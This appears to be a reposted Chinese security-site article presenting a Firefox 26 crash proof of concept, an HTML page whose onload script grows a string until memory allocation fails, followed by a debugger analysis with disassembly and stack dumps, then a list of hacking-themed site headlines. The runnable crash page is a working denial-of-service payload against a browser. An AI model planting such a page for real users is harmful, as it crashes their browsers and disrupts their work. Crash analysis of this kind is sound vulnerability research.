发布时间:2014-07-15 11:50:29作者:知识屋
<html> <head> <title>Mozilla Firefox Crash 0Day</title> <body onload="javascript:coolkaveh();"> <script language="JavaScript"> function coolkaveh(){ var buf = 'x41x41x41' for(i=0; i <= 800 ; ++i){ buf+=buf+buf //Written by vscen:这里存在问题,字符串太长会导致内存分配失败,之后调用mozalloc.mozalloc_abort触发崩溃 document.write(buf); //Written by vscen:罪魁祸首 } } </script> </head> </body> </html>【相关环境】
分析工具:OllyICE
:Firefox 26.0.0.5087
操作:Windows【分析过程】
10004C15 > 56 push esi ; mozglue.malloc 10004C16 8B7424 08 mov esi, dword ptr [esp+8] 10004C1A 85F6 test esi, esi 10004C1C 75 01 jnz short 10004C1F 10004C1E 46 inc esi 10004C1F 81FE 00F00F00 cmp esi, 0FF000 10004C25 77 13 ja short 10004C3A 10004C27 6A 00 push 0 10004C29 E8 60FDFFFF call 1000498E 10004C2E 8BC8 mov ecx, eax 拷贝(buf)里面的字符串到分配的缓冲区: 0156265C 8BD7 mov edx, edi 0156265E 2BD0 sub edx, eax 01562660 52 push edx 01562661 50 push eax 01562662 8B06 mov eax, dword ptr [esi] 01562664 53 push ebx 01562665 E8 26130000 call 01563990 堆栈信息: 0012DDA8 00F61096 /CALL 到 malloc 来自 mozalloc.00F61094 0012DDAC 0048FB78 size = 48FB78 (4782968.) 0012DDB0 001853D3 0012DDB4 110503E0 0012DDB8 01563B0A 返回到 xul.01563B0A 来自 mozalloc.moz_xmalloc 0012DDBC 0048FB78 0012DDC0 001853D3 0012DDC4 10F3A450 0012DDC8 00000041 0012DDCC 11C00000 UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0012DDD0 00000000 0012DDD4 00000000 0012DDD8 0156266A 返回到 xul.0156266A 来自 xul.01563990 0012DDDC 11C00000 UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 0012DDE0 00000000 0012DDE4 00247DBC 0012DDE8 0012DE94 0012DDEC 10F3A450 0012DDF0 00000000 0012DDF4 11C00000 UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"【崩溃截图】
2011-06-17
电脑开机时出现lass.exe进程是病毒吗?
自拍须谨慎!教你如何通过照片定位查看拍摄地点
电脑病毒最基础知识
黑客学员必须了解的C语言技术
精典详细内网渗透专题文章
教你破解Tp-Link的无线路由密码
解决SecureCRT中文显示乱码
QQ电脑管家和360哪个好?横评实测对比
攻防实战:无线网络路由入侵过程